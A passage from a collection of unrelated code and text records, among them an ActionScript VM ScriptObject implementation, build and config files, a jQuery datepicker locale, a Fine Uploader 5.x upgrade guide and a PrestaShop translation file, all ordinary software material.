(multiname->isValidDynamicName())\n {\n return getStringProperty(multiname->getName());\n }\n else\n {\n Toplevel* toplevel = this->toplevel();\n\n if (multiname->isNsset())\n toplevel->throwReferenceError(kReadSealedErrorNs, multiname, traits());\n else\n toplevel->throwReferenceError(kReadSealedError, multiname, traits());\n return undefinedAtom;\n }\n }\n\n // this = argv[0] (ignored)\n // arg1 = argv[1]\n // argN = argv[argc]\n Atom ScriptObject::callProperty(const Multiname* multiname, int argc, Atom* argv)\n {\n Atom method = getMultinameProperty(multiname);\n if (!AvmCore::isObject(method))\n toplevel()->throwTypeError(kCallOfNonFunctionError, core()->toErrorString(multiname));\n argv[0] = atom(); // replace receiver\n return avmplus::op_call(toplevel(), method, argc, argv);\n }\n\n Atom ScriptObject::getDescendants(const Multiname* /*name*/) const\n {\n toplevel()->throwTypeError(kDescendentsError, core()->toErrorString(traits()));\n return undefinedAtom;// not reached\n }\n\n bool ScriptObject::isGlobalObject() const\n {\n return traits()->posType() == TRAITSTYPE_SCRIPT;\n }\n\n#ifdef AVMPLUS_VERBOSE\n PrintWriter& ScriptObject::print(PrintWriter& prw) const\n {\n (traits()->name() != NULL) ? prw << traits()\n : prw << \"{}\";\n return prw << \"@\" << asAtomHex(atom());\n }\n#endif\n\n Atom ScriptObject::defaultValue()\n {\n AvmCore *core = this->core();\n Toplevel* toplevel = this->toplevel();\n\n Atom atomv_out[1];\n\n // call this.valueOf()\n // NOTE use callers versioned public to get correct valueOf\n Multiname tempname(core->findPublicNamespace(), core->kvalueOf);\n atomv_out[0] = atom();\n Atom result = toplevel->callproperty(atom(), &tempname, 0, atomv_out, vtable);\n\n // if result is primitive, return it\n if (atomKind(result) != kObjectType)\n return result;\n\n // otherwise call this.toString()\n tempname.setName(core->ktoString);\n atomv_out[0] = atom();\n result = toplevel->callproperty(atom(), &tempname, 0, atomv_out, vtable);\n\n // if result is primitive, return it\n if (atomKind(result) != kObjectType)\n return result;\n\n // could not convert to primitive.\n toplevel->throwTypeError(kConvertToPrimitiveError, core->toErrorString(traits()));\n return undefinedAtom;\n }\n\n // Execute the ToString algorithm as described in ECMA-262 Section 9.8.\n // This is ToString(ToPrimitive(input argument, hint String))\n // ToPrimitive(input argument, hint String) calls [[DefaultValue]]\n // described in ECMA-262 8.6.2.6. The [[DefaultValue]] algorithm\n // with hint String is inlined here.\n Stringp ScriptObject::toString()\n {\n AvmCore *core = this->core();\n Toplevel* toplevel = this->toplevel();\n\n Atom atomv_out[1];\n\n // call this.toString()\n // NOTE use callers versioned public to get correct toString\n Multiname tempname(core->findPublicNamespace(), core->ktoString);\n atomv_out[0] = atom();\n Atom result = toplevel->callproperty(atom(), &tempname, 0, atomv_out, vtable);\n\n // if result is primitive, return its ToString\n if (atomKind(result) != kObjectType)\n return core->string(result);\n\n // otherwise call this.valueOf()\n tempname.setName(core->kvalueOf);\n atomv_out[0] = atom();\n result = toplevel->callproperty(atom(), &tempname, 0, atomv_out, vtable);\n\n // if result is primitive, return it\n if (atomKind(result) != kObjectType)\n return core->string(result);\n\n // could not convert to primitive.\n toplevel->throwTypeError(kConvertToPrimitiveError, core->toErrorString(traits()));\n return NULL; // unreachable\n }\n\n // this = argv[0] (ignored)\n // arg1 = argv[1]\n // argN = argv[argc]\n Atom ScriptObject::call(int /*argc*/, Atom* /*argv*/)\n {\n // TypeError in ECMA to execute a non-function\n // NOTE use default public since name is not used\n Multiname name(core()->getAnyPublicNamespace(), core()->kvalue);\n toplevel()->throwTypeError(kCallOfNonFunctionError, core()->toErrorString(&name));\n return undefinedAtom;\n }\n\n // this = argv[0] (ignored)\n // arg1 = argv[1]\n // argN = argv[argc]\n Atom ScriptObject::construct(int /*argc*/, Atom* /*argv*/)\n {\n // TypeError in ECMA to execute a non-function\n toplevel()->throwTypeError(kConstructOfNonFunctionError);\n return undefinedAtom;\n }\n\n Atom ScriptObject::applyTypeArgs(int /*argc*/, Atom* /*argv*/)\n {\n toplevel()->throwTypeError(kTypeAppOfNonParamType);\n return undefinedAtom;\n }\n\n Atom ScriptObject::getSlotAtom(uint32_t slot, AvmCore *core)\n {\n Traits* traits = this->traits();\n const TraitsBindingsp td = traits->getTraitsBindings();\n // repeated if-else is actually more performant than a switch statement in this case.\n // SST_atom is most common case, put it first\n void* p;\n const SlotStorageType sst = td->calcSlotAddrAndSST(slot, (void*)this, p);\n if (sst == SST_atom)\n {\n return *((const Atom*)p);\n }\n else if (sst == SST_double)\n {\n return core->doubleToAtom(*((const double*)p));\n }\n#ifdef VMCFG_FLOAT\n else if (sst == SST_float)\n {\n return traits->core->floatToAtom(*((const float*)p));\n }\n else if (sst == SST_float4)\n {\n return traits->core->float4ToAtom(AvmThunkUnbox_FLOAT4(float4_t, *((Atom*)p)) );\n }\n#endif // VMCFG_FLOAT\n else if (sst == SST_int32)\n {\n return core->intToAtom(*((const int32_t*)p));\n }\n else if (sst == SST_uint32)\n {\n return core->uintToAtom(*((const int32_t*)p));\n }\n else if (sst == SST_bool32)\n {\n return (*((const int32_t*)p)<<3)|kBooleanType;\n }\n else if (sst == SST_string)\n {\n return (*((const Stringp*)p))->atom(); // may be null|kStringType, that's ok\n }\n else if (sst == SST_namespace)\n {\n return (*((const Namespacep*)p))->atom(); // may be null|kNamespaceType, no problemo\n }\n else // if (sst == SST_scriptobject)\n {\n AvmAssert(sst == SST_scriptobject);\n return (*((const ScriptObject**)p))->atom(); // may be null|kObjectType, copacetic\n }\n }\n\n Atom ScriptObject::getSlotAtom(uint32_t slot)\n {\n return getSlotAtom(slot, this->traits()->core);\n }\n\n ScriptObject* ScriptObject::getSlotObject(uint32_t slot)\n {\n Traits* traits = this->traits();\n const TraitsBindingsp td = traits->getTraitsBindings();\n void* p;\n const SlotStorageType sst = td->calcSlotAddrAndSST(slot, (void*)this, p);\n\n // based on profiling of Flex apps, it's *much* more common for the slot in this case\n // to have a type (vs \"atom\"), so check for that first...\n if (sst == SST_scriptobject)\n {\n return *((ScriptObject**)p);\n }\n else if (sst == SST_atom)\n {\n Atom const a = *((const Atom*)p);\n\n // don't call AvmCore::isObject(); it checks for null, which we don't care about here\n if (atomKind(a) == kObjectType)\n return (ScriptObject*)atomPtr(a);\n\n // else fall thru and return null\n }\n\n return NULL;\n }\n\n // note: coerceAndSetSlotAtom now includes a simplified and streamlined version\n // of Toplevel::coerce. If you modify that code, you might need to modify this code.\n void ScriptObject::coerceAndSetSlotAtom(uint32_t slot, Atom value)\n {\n Traits* traits = this->traits();\n const TraitsBindingsp td = traits->getTraitsBindings();\n void* p;\n const SlotStorageType sst = td->calcSlotAddrAndSST(slot, (void*)this, p);\n // repeated if-else is actually more performant than a switch statement in this case.\n // SST_atom is most common case, put it first\n if (sst == SST_atom)\n {\n // no call to coerce() needed, since anything will fit here... with one exception:\n // BUILTIN_object needs to convert undefined->null (though BUILTIN_any does not).\n // it's cheaper to do that here than call out to coerce().\n AvmAssert(td->getSlotTraits(slot) == NULL || td->getSlotTraits(slot)->builtinType == BUILTIN_object);\n if (value == undefinedAtom && td->getSlotTraits(slot) != NULL)\n value = nullObjectAtom;\n WBATOM(traits->core->GetGC(), this, (Atom*)p, value);\n }\n else if (sst == SST_double)\n {\n *((double*)p) = AvmCore::number(value);\n }\n#ifdef VMCFG_FLOAT\n else if (sst == SST_float)\n {\n *((float*)p) = AvmCore::singlePrecisionFloat(value);\n }\n else if (sst == SST_float4)\n {\n float4_t* ptr = reinterpret_cast<float4_t*>(p);\n AvmCore::float4(ptr, value);\n }\n#endif // VMCFG_FLOAT\n else if (sst == SST_int32)\n {\n *((int32_t*)p) = AvmCore::integer(value);\n }\n else if (sst == SST_uint32)\n {\n *((uint32_t*)p) = AvmCore::toUInt32(value);\n }\n else if (sst == SST_bool32)\n {\n *((int32_t*)p) = AvmCore::boolean(value);\n }\n else\n {\n // null/undefined -> NULL for all of these\n if (AvmCore::isNullOrUndefined(value))\n {\n value = (Atom)0; // don't bother setting tag bits\n }\n else if (sst == SST_string)\n {\n value = (Atom)traits->core->string(value); // don't bother setting tag bits\n }\n else if (sst == SST_namespace)\n {\n // Namespace is final, so we don't have to do the hard work\n if (atomKind(value) != kNamespaceType)\n goto failure;\n }\n else // if (sst == SST_scriptobject)\n {\n AvmAssert(sst == SST_scriptobject);\n if (atomKind(value) != kObjectType || !AvmCore::atomToScriptObject(value)->traits()->subtypeof(td->getSlotTraits(slot)))\n goto failure;\n }\n WBRC(traits->core->GetGC(), this, p, atomPtr(value));\n }\n return;\n\n failure:\n toplevel()->throwTypeError(kCheckTypeFailedError, traits->core->atomToErrorString(value), traits->core->toErrorString(td->getSlotTraits(slot)));\n return;\n }\n\n Atom ScriptObject::nextName(int index)\n {\n if (!traits()->needsHashtable())\n return nullStringAtom;\n \n AvmAssert(index > 0);\n\n InlineHashtable* ht = getTable();\n Atom m = ht->keyAt(index);\n return AvmCore::isNullOrUndefined(m) ? nullStringAtom : m;\n }\n\n Atom ScriptObject::nextValue(int index)\n {\n if (!traits()->needsHashtable())\n return undefinedAtom;\n\n AvmAssert(index > 0);\n\n InlineHashtable* ht = getTable();\n Atom m = ht->keyAt(index);\n if (AvmCore::isNullOrUndefined(m))\n return nullStringAtom;\n return ht->valueAt(index);\n }\n\n int ScriptObject::nextNameIndex(int index)\n {\n AvmAssert(index >= 0);\n\n if (!traits()->needsHashtable())\n return 0;\n\n return getTable()->next(index);\n }\n\n#ifdef DEBUGGER\n uint64_t ScriptObject::bytesUsed() const\n {\n uint64_t bytesUsed = traits()->getTotalSize();\n if(traits()->needsHashtable())\n {\n if (traits()->isDictionary())\n {\n union {\n uint8_t* p;\n HeapHashtable** hht;\n };\n p = (uint8_t*)this + traits()->getHashtableOffset();\n bytesUsed += (*hht)->bytesUsed();\n }\n else\n {\n bytesUsed += getTable()->bytesUsed();\n }\n }\n return bytesUsed;\n }\n\n void ScriptObject::registerDependentObjects(IMemorySampler *memSampler)\n {\n if (traits()->needsHashtable())\n {\n InlineHashtable* ht = getTableNoInit();\n if (ht)\n {\n memSampler->addDependentObject(this, ht);\n }\n }\n }\n#endif\n\n Stringp ScriptObject::implToString() const\n {\n AvmCore* core = this->core();\n Traits* t = this->traits();\n Stringp s = core->concatStrings(core->newConstantStringLatin1(\"[object \"), t->name());\n return core->concatStrings(s, core->newConstantStringLatin1(\"]\"));\n }\n\n uint32_t ScriptObject::getLengthProperty()\n {\n Toplevel* toplevel = this->toplevel();\n AvmCore* core = toplevel->core();\n Multiname mname(core->getAnyPublicNamespace(), core->klength);\n Atom lenAtm = toplevel->getproperty(this->atom(), &mname, this->vtable);\n return AvmCore::toUInt32(lenAtm);\n }\n\n void ScriptObject::setLengthProperty(uint32_t newLen)\n {\n Toplevel* toplevel = this->toplevel();\n AvmCore* core = toplevel->core();\n Multiname mname(core->getAnyPublicNamespace(), core->klength);\n Atom lenAtm = core->uintToAtom(newLen);\n toplevel->setproperty(this->atom(), &mname, lenAtm, this->vtable);\n }\n}\n"} {"text": "cmake_minimum_required(VERSION 3.1)\n\nget_filename_component(PROJECT_NAME ${CMAKE_CURRENT_SOURCE_DIR} NAME)\nproject(${PROJECT_NAME})\n\n\nset(kdtree_HEADERS\n ANN/ANN.h\n ANN/ANNperf.h\n ANN/ANNx.h\n ANN/bd_tree.h\n ANN/kd_fix_rad_search.h\n ANN/kd_pr_search.h\n ANN/kd_search.h\n ANN/kd_split.h\n ANN/kd_tree.h\n ANN/kd_util.h\n ANN/pr_queue.h\n ANN/pr_queue_k.h\n ETH_Kd_Tree/kdTree.h\n ETH_Kd_Tree/PriorityQueue.h\n ETH_Kd_Tree/QueryGrid.h\n ETH_Kd_Tree/vector2D.h\n ETH_Kd_Tree/vector3D.h\n FLANN/config.h\n FLANN/defines.h\n FLANN/flann.hpp\n FLANN/general.h\n FLANN/algorithms/all_indices.h\n FLANN/algorithms/autotuned_index.h\n FLANN/algorithms/center_chooser.h\n FLANN/algorithms/composite_index.h\n FLANN/algorithms/dist.h\n FLANN/algorithms/hierarchical_clustering_index.h\n FLANN/algorithms/kdtree_index.h\n FLANN/algorithms/kdtree_single_index.h\n FLANN/algorithms/kmeans_index.h\n FLANN/algorithms/linear_index.h\n FLANN/algorithms/lsh_index.h\n FLANN/algorithms/nn_index.h\n FLANN/nn/ground_truth.h\n FLANN/nn/index_testing.h\n FLANN/util/allocator.h\n FLANN/util/any.h\n FLANN/util/dynamic_bitset.h\n FLANN/util/heap.h\n FLANN/util/logger.h\n FLANN/util/lsh_table.h\n FLANN/util/matrix.h\n FLANN/util/params.h\n FLANN/util/random.h\n FLANN/util/result_set.h\n FLANN/util/sampling.h\n FLANN/util/saving.h\n FLANN/util/serialization.h\n FLANN/util/timer.h\n nanoflann/nanoflann.hpp\n )\n\nset(kdtree_SOURCES\n ANN/ANN.cpp\n ANN/bd_fix_rad_search.cpp\n ANN/bd_pr_search.cpp\n ANN/bd_search.cpp\n ANN/bd_tree.cpp\n ANN/brute.cpp\n ANN/kd_dump.cpp\n ANN/kd_fix_rad_search.cpp\n ANN/kd_pr_search.cpp\n ANN/kd_search.cpp\n ANN/kd_split.cpp\n ANN/kd_tree.cpp\n ANN/kd_util.cpp\n ANN/perf.cpp\n ETH_Kd_Tree/kdTree.cpp\n )\n\n\nadd_library(${PROJECT_NAME} STATIC ${kdtree_SOURCES} ${kdtree_HEADERS})\n\nset_target_properties(${PROJECT_NAME} PROPERTIES FOLDER \"3rd_party\")\n\nif (MSVC)\n target_compile_definitions(${PROJECT_NAME} PRIVATE\n _CRT_SECURE_NO_WARNINGS\n _CRT_SECURE_NO_DEPRECATE\n )\nendif()\n"} {"text": "#pragma once\n\n#include \"Capstone/capstone.h\"\n\nclass CAssemblyView : public CWindowImpl<CAssemblyView> {\npublic:\n\tDECLARE_WND_CLASS_EX(nullptr, 0, NULL);\n\n\tCAssemblyView(cs_insn* insts, int count);\n\n\tBEGIN_MSG_MAP(CAssemblyView)\n\t\tMESSAGE_HANDLER(WM_CREATE, OnCreate)\n\t\tMESSAGE_HANDLER(WM_SIZE, OnSize)\n\t\tMESSAGE_HANDLER(WM_ERASEBKGND, OnEraseBkgnd)\n\t\tMESSAGE_HANDLER(WM_CTLCOLORSTATIC, OnBackColor)\n\tEND_MSG_MAP()\n\nprivate:\n\tLRESULT OnCreate(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/);\n\tLRESULT OnSize(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/);\n\tLRESULT OnEraseBkgnd(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/);\n\tLRESULT OnBackColor(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/);\n\nprivate:\n\tCEdit m_Edit;\n\tcs_insn* m_Inst;\n\tint m_Count;\n};\n\n"} {"text": "{\n \"compilerOptions\": {\n \"baseUrl\": \".\",\n \"outDir\": \"demo/dist\",\n \"rootDir\": \".\",\n \"module\": \"es6\",\n \"target\": \"es5\",\n \"jsx\": \"react\",\n \"sourceMap\": true,\n \"moduleResolution\": \"node\",\n \"allowSyntheticDefaultImports\": true,\n \"forceConsistentCasingInFileNames\": true,\n \"noImplicitReturns\": true,\n \"noImplicitThis\": true,\n \"noImplicitAny\": true,\n \"noUnusedLocals\": true,\n \"strictNullChecks\": true,\n \"strict\": true,\n \"suppressImplicitAnyIndexErrors\": true,\n \"paths\": {\n \"@packages/*\": [\"packages/*\"]\n }\n },\n \"include\": [\n \"**/src/*\",\n \"demo/ts/*\"\n ],\n \"exclude\": [\n \"node_modules\",\n \"**/*.spec.ts\"\n ]\n}\n"} {"text": "package com.coderising.ood.srp.service;\r\n\r\nimport java.util.List;\r\n\r\nimport com.coderising.ood.srp.common.Configuration;\r\nimport com.coderising.ood.srp.common.ConfigurationKeys;\r\nimport com.coderising.ood.srp.entity.Email;\r\nimport com.coderising.ood.srp.entity.Product;\r\nimport com.coderising.ood.srp.entity.User;\r\n\r\npublic class EmailService {\r\n\t\r\n\tpublic Email generateEmail(User user,List<Product> products,Configuration configuration){\r\n\t\tEmail email = new Email();\r\n\t\temail.setFromAddress(configuration.getProperty(ConfigurationKeys.EMAIL_ADMIN));\r\n\t\temail.setToAddress(user.getEmailAddress());\r\n\t\temail.setSubject(\"您关注的产品降价了\");\r\n\t\tStringBuffer message=new StringBuffer(\"尊敬的 \"+user.getUserName()+\", 您关注的产品:\");\r\n\t\tfor(Product product:products){\r\n\t\t\tmessage.append(product.getProductDesc()+\" \");\r\n\t\t}\r\n\t\tmessage.append(\"降价了,欢迎购买!\");\r\n\t\temail.setMessage(message.toString());\r\n\t\treturn email;\r\n\t}\r\n\t/**\r\n\t * 发送一封Email\r\n\t * @param email\r\n\t */\r\n\tpublic void sendEmail(Email email){\r\n\t\tif(email != null ){\r\n\t\t\t//假装发了一封邮件\r\n\t\t\tStringBuilder buffer = new StringBuilder();\r\n\t\t\tbuffer.append(\"From:\").append(email.getFromAddress()).append(\"\\n\");\r\n\t\t\tbuffer.append(\"To:\").append(email.getToAddress()).append(\"\\n\");\r\n\t\t\tbuffer.append(\"Subject:\").append(email.getSubject()).append(\"\\n\");\r\n\t\t\tbuffer.append(\"Content:\").append(email.getMessage()).append(\"\\n\");\r\n\t\t\tSystem.out.println(buffer.toString());\r\n\t\t}else{\r\n\t\t\tSystem.out.println(\"email 为空,发送邮件失败!\");\r\n\t\t}\r\n\t}\r\n}\r\n"} {"text": "/* Norwegian Nynorsk initialisation for the jQuery UI date picker plugin. */\n/* Written by Bjørn Johansen (post@bjornjohansen.no). */\njQuery(function($){\n\t$.datepicker.regional['nn'] = {\n\t\tcloseText: 'Lukk',\n\t\tprevText: '&#xAB;Førre',\n\t\tnextText: 'Neste&#xBB;',\n\t\tcurrentText: 'I dag',\n\t\tmonthNames: ['januar','februar','mars','april','mai','juni','juli','august','september','oktober','november','desember'],\n\t\tmonthNamesShort: ['jan','feb','mar','apr','mai','jun','jul','aug','sep','okt','nov','des'],\n\t\tdayNamesShort: ['sun','mån','tys','ons','tor','fre','lau'],\n\t\tdayNames: ['sundag','måndag','tysdag','onsdag','torsdag','fredag','laurdag'],\n\t\tdayNamesMin: ['su','må','ty','on','to','fr','la'],\n\t\tweekHeader: 'Veke',\n\t\tdateFormat: 'dd.mm.yy',\n\t\tfirstDay: 1,\n\t\tisRTL: false,\n\t\tshowMonthAfterYear: false,\n\t\tyearSuffix: ''\n\t};\n\t$.datepicker.setDefaults($.datepicker.regional['nn']);\n});\n"} {"text": "query ($id: Int!) {\n Staff(id: $id) {\n id\n name {\n first\n last\n native\n }\n description\n language\n }\n}\n"} {"text": "import { Component } from '@angular/core';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html'\n})\n\nexport class AppComponent {\n\tgetWidth() : any {\n\t\tif (document.body.offsetWidth < 850) {\n\t\t\treturn '90%';\n\t\t}\n\t\t\n\t\treturn 850;\n\t}\n}"} {"text": "var standaloneLibDir = \"lib/jasmine-\" + jasmineVersion;\n\nfunction root(path) { return \"./\" + path; }\nfunction libJasmineCore(path) { return root(\"lib/jasmine-core/\" + path); }\nfunction libConsole() { return \"lib/console/\" }\nfunction dist(path) { return root(\"dist/\" + path); }\n\nmodule.exports = {\n standalone: {\n options: {\n archive: root(\"dist/jasmine-standalone-\" + global.jasmineVersion + \".zip\")\n },\n\n files: [\n { src: [ root(\"MIT.LICENSE\") ] },\n {\n src: [ \"jasmine_favicon.png\"],\n dest: standaloneLibDir,\n expand: true,\n cwd: root(\"images\")\n },\n {\n src: [\n \"jasmine.js\",\n \"jasmine-html.js\",\n \"jasmine.css\"\n ],\n dest: standaloneLibDir,\n expand: true,\n cwd: libJasmineCore(\"\")\n },\n {\n src: [\n \"console.js\"\n ],\n dest: standaloneLibDir,\n expand: true,\n cwd: libConsole()\n },\n {\n src: [ \"boot.js\" ],\n dest: standaloneLibDir,\n expand: true,\n cwd: libJasmineCore(\"boot\")\n },\n {\n src: [ \"SpecRunner.html\" ],\n dest: root(\"\"),\n expand: true,\n cwd: dist(\"tmp\")\n },\n {\n src: [ \"*.js\" ],\n dest: \"src\",\n expand: true,\n cwd: libJasmineCore(\"example/src/\")\n },\n {\n src: [ \"*.js\" ],\n dest: \"spec\",\n expand: true,\n cwd: libJasmineCore(\"example/spec/\")\n }\n ]\n }\n};\n"} {"text": "{% extends \"_templates/base.html\" %}\n{% set page_title = \"Upgrading to 5.x\" %}\n{% block content %}\n{% markdown %}\n# Upgrading to 5.x {: .page-header }\n\nThe 5.0 version brings some breaking changes, mostly surrounding upload requests.\n\nIf you are upgrading from a 3.x version, be sure to also read the [Upgrading to 4.x document](upgrading-to-4.html).\n\n### Resume data persisted using localStorage for traditional endpoints\nFine Uploader no longer uses cookies to persist auto-resume data for traditional endpoints. Now, all auto-resume\ndata is persisted to `localStorage` for all endpoint handlers.\n\nThis means that any existing auto-resume records will be lost when you switch to a 5.x version if you utilize\na traditional endpoint handler.\n\n\n### Persisted resume data format changed for S3 and Azure upload endpoints\nThis means that any existing resume records will be ignored. This format change was required to\nsupport the new concurrent chunking feature.\n\n\n### Most XHR requests will now contain an Accept header\nThis is probably not technically a breaking change, but it should be mentioned here just in case your\nserver, for some reason, is not expecting this header on requests from Fine Uploader. This change\naffects all `XMLHttpRequest` originated requests sent to local servers\n(i.e. not requests sent to S3/Azure).\n\nYour can look at this header to programmatically determine the correct Content-Type for your response,\nbut you should **NOT** rely on this value for upload requests in IE9 and older since the Accept header\nis set by the browser and is not reflective of the expected response Content-Type. Also, ajax requests\nsent in IE9 and IE8 in a cross-origin environment will not contain this header, since\nthe `XDomainRequest` transport is used and does not allow headers to be specified.\n\n\n### Removed all utility functions that deal with cookies\nAs a result of the switch from cookies to `localStorage`, we removed these cookie-related utility\nfunctions as they are no longer needed by Fine Uploader. If you were utilizing these utility functions for your app,\nconsider importing a cookie library as a replacement, such as [jquery-cookie][jcookie] or [Cookies][Cookies].\n\nThe specific removed util functions were:\n\n* `qq.areCookiesEnabled`\n* `qq.getCookie`\n* `qq.setCookie`\n* `qq.deleteCookie`\n\n\n### Changes to `resume` option\nThe `id` property of the `resume` option was removed. Very few integrators, if any, were making use of this option.\nIf you were making use of this option property, any existing resume records will be lost when you upgrade to 5.x.\n\nAlso, for traditional endpoints, the `cookiesExpireIn` option has changed to `recordsExpireIn`. This is related to\nthe switch from cookies to `localStorage`.\n\n\n### onResume callback is no longer promissory\nA promise is no longer an acceptable return type from an `onResume` callback. It was unclear what benefit this\nprovided, and supporting this made the code more complicated. Due to a long-standing oversight in the code,\npromises were only accepted from `onResume` callbacks when using the traditional endpoint handler anyway.\n\n\n### Chunked request only sent for traditional endpoints if necessary\nIf the chunking.partSize value is greater than or equal to the size of the\nfile, no chunking will occur. Note that a chunked request is different from\na non-chunked request due to differing headers, and the fact that the\nmessage-body of a chunked request contains a Blob, while a non-chunked request\nmessage-body contains a File (assuming the file is not a scaled version and\nthe original file is not a Blob itself).\n\nThis means that, even if chunking is enabled, a chunked upload request is\nonly sent to traditional endpoints if the associated file can be broken into\nmore than 1 chunk. This behavior is consistent with the way all other\nendpoints have functioned. Previously, a chunked request would always be\nsent for traditional endpoints if chunking was supported and enabled.\n\n\n### `drawThumbnail` API method only passes one argument to rejected promise callback\nThis was done to bring the API that Fine Uploader exposes in compliance with the A+ promises spec. While\n`qq.Promise` is not A+ compliant, use of other promise implementations when communicating with Fine Uploader\nis now supported. Since the spec indicates that only one argument can be passed to a resolve or reject callback,\nthe promise returned by the [`drawThumbnail` API method][drawthumbnail] had to be modified. The resolve callback\nalready was only passed one argument (the container element), this breaking change only affects the reject callback.\nPreviously, two arguments were passed, in the event of an error, to the reject callback: the container element, and\nan error message. Now, an object with `container` and `error` properties is the only argument.\n\n[Cookies]: https://github.com/ScottHamper/Cookies\n[drawthumbnail]: api/methods.html#drawThumbnail\n[jcookie]: https://github.com/carhartl/jquery-cookie\n\n{% endmarkdown %}\n{% endblock %}\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<xliff xmlns=\"urn:oasis:names:tc:xliff:document:1.2\" version=\"1.2\">\n <file original=\"modules/dashgoals/dashgoals.php\" source-language=\"en-US\" target-language=\"en\" datatype=\"plaintext\">\n <body>\n <trans-unit id=\"50698c5b8ffaf2b7dd089898a244a668\">\n <source>Dashboard Goals</source>\n <target>Dashboard Goals</target>\n <note>Line: 49</note>\n </trans-unit>\n <trans-unit id=\"ac73c1d4a6befbca8cecf2171cd45d4f\">\n <source>Adds a block with your store's forecast.</source>\n <target>Adds a block with your store's forecast.</target>\n <note>Line: 50</note>\n </trans-unit>\n <trans-unit id=\"86f5978d9b80124f509bdb71786e929e\">\n <source>January</source>\n <target>January</target>\n <note>Line: 54</note>\n </trans-unit>\n <trans-unit id=\"659e59f062c75f81259d22786d6c44aa\">\n <source>February</source>\n <target>February</target>\n <note>Line: 55</note>\n </trans-unit>\n <trans-unit id=\"fa3e5edac607a88d8fd7ecb9d6d67424\">\n <source>March</source>\n <target>March</target>\n <note>Line: 56</note>\n </trans-unit>\n <trans-unit id=\"3fcf026bbfffb63fb24b8de9d0446949\">\n <source>April</source>\n <target>April</target>\n <note>Line: 57</note>\n </trans-unit>\n <trans-unit id=\"195fbb57ffe7449796d23466085ce6d8\">\n <source>May</source>\n <target>May</target>\n <note>Line: 58</note>\n </trans-unit>\n <trans-unit id=\"688937ccaf2a2b0c45a1c9bbba09698d\">\n <source>June</source>\n <target>June</target>\n <note>Line: 59</note>\n </trans-unit>\n <trans-unit id=\"1b539f6f34e8503c97f6d3421346b63c\">\n <source>July</source>\n <target>July</target>\n <note>Line: 60</note>\n </trans-unit>\n <trans-unit id=\"41ba70891fb6f39327d8ccb9b1dafb84\">\n <source>August</source>\n <target>August</target>\n <note>Line: 61</note>\n </trans-unit>\n <trans-unit id=\"cc5d90569e1c8313c2b1c2aab1401174\">\n <source>September</source>\n <target>September</target>\n <note>Line: 62</note>\n </trans-unit>\n <trans-unit id=\"eca60ae8611369fe28a02e2ab8c5d12e\">\n <source>October</source>\n <target>October</target>\n <note>Line: 63</note>\n </trans-unit>\n <trans-unit id=\"7e823b37564da492ca1629b4732289a8\">\n <source>November</source>\n <target>November</target>\n <note>Line: 64</note>\n </trans-unit>\n <trans-unit id=\"82331503174acbae012b2004f6431fa5\">\n <source>December</source>\n <target>December</target>\n <note>Line: 65</note>\n </trans-unit>\n <trans-unit id=\"71241798130f714cbd2786df3da2cf0b\">\n <source>Average cart value</source>\n <target>Average cart value</target>\n <note>Line: 193</note>\n </trans-unit>\n <trans-unit id=\"9ac642c5ef334ea05256563f921bb304\">\n <source>Goal exceeded</source>\n <target>Goal exceeded</target>\n <note>Line: 198</note>\n </trans-unit>\n <trans-unit id=\"7c103c9bbbaecee07ca898ed65667cbf\">\n <source>Goal not reached</source>\n <target>Goal not reached</target>\n <note>Line: 199</note>\n </trans-unit>\n <trans-unit id=\"eb233580dc419f03df5905f175606e4d\">\n <source>Goal set:</source>\n <target>Goal set:</target>\n <note>Line: 489</note>\n </trans-unit>\n </body>\n </file>\n <file original=\"modules/dashgoals/views/templates/hook/config.tpl\" source-language=\"en-US\" target-language=\"en\" datatype=\"plaintext\">\n <body>\n <trans-unit id=\"e4c3da18c66c0147144767efeb59198f\">\n <source>Conversion Rate</source>\n <target>Conversion Rate</target>\n <note>Line: 33</note>\n </trans-unit>\n </body>\n </file>\n <file original=\"modules/dashgoals/views/templates/hook/dashboard_zone_two.tpl\" source-language=\"en-US\" target-language=\"en\" datatype=\"plaintext\">\n <body>\n <trans-unit id=\"e7935ae6c516d89405ec532359d2d75a\">\n <source>Traffic</source>\n <target>Traffic</target>\n <note>Line: 58</note>\n </trans-unit>\n <trans-unit id=\"3bb1503332637805beddb73a2dd1fe1b\">\n <source>Conversion</source>\n <target>Conversion</target>\n <note>Line: 61</note>\n </trans-unit>\n <trans-unit id=\"8c804960da61b637c548c951652b0cac\">\n <source>Average Cart Value</source>\n <target>Average Cart Value</target>\n <note>Line: 64</note>\n </trans-unit>\n <trans-unit id=\"89c1265be62d3ba835a3d963db5956b0\">\n <source>Forecast</source>\n <target>Forecast</target>\n <note>Line: 38</note>\n </trans-unit>\n </body>\n </file>\n</xliff>\n"} {"text": "\n/* Class = \"UITableViewSection\"; headerTitle = \"Basics\"; ObjectID = \"0UP-No-gFa\"; */\n\"0UP-No-gFa.headerTitle\" = \"Basics\";\n\n/* Class = \"UITableViewSection\"; headerTitle = \"Filtering\"; ObjectID = \"4sM-rh-exU\"; */\n\"4sM-rh-exU.headerTitle\" = \"Filtering\";\n\n/* Class = \"UILabel\"; text = \"Basic Usage\"; ObjectID = \"DSZ-fY-z3N\"; */\n\"DSZ-fY-z3N.text\" = \"Basic Usage\";\n\n/* Class = \"UINavigationItem\"; title = \"Examples\"; ObjectID = \"JaI-xQ-Do9\"; */\n\"JaI-xQ-Do9.title\" = \"Examples\";\n\n/* Class = \"UITableViewSection\"; headerTitle = \"Appearance\"; ObjectID = \"JiI-DQ-t3T\"; */\n\"JiI-DQ-t3T.headerTitle\" = \"Appearance\";\n\n/* Class = \"UILabel\"; text = \"Custom Asset Order by PHFetchOptions\"; ObjectID = \"LNS-Of-WlE\"; */\n\"LNS-Of-WlE.text\" = \"Custom Asset Order by PHFetchOptions\";\n\n/* Class = \"UILabel\"; text = \"Custom Album Order by PHFetchOptions\"; ObjectID = \"TjC-o1-rUV\"; */\n\"TjC-o1-rUV.text\" = \"Custom Album Order by PHFetchOptions\";\n\n/* Class = \"UILabel\"; text = \"Custom Album Cell & Layout\"; ObjectID = \"V01-fT-RbR\"; 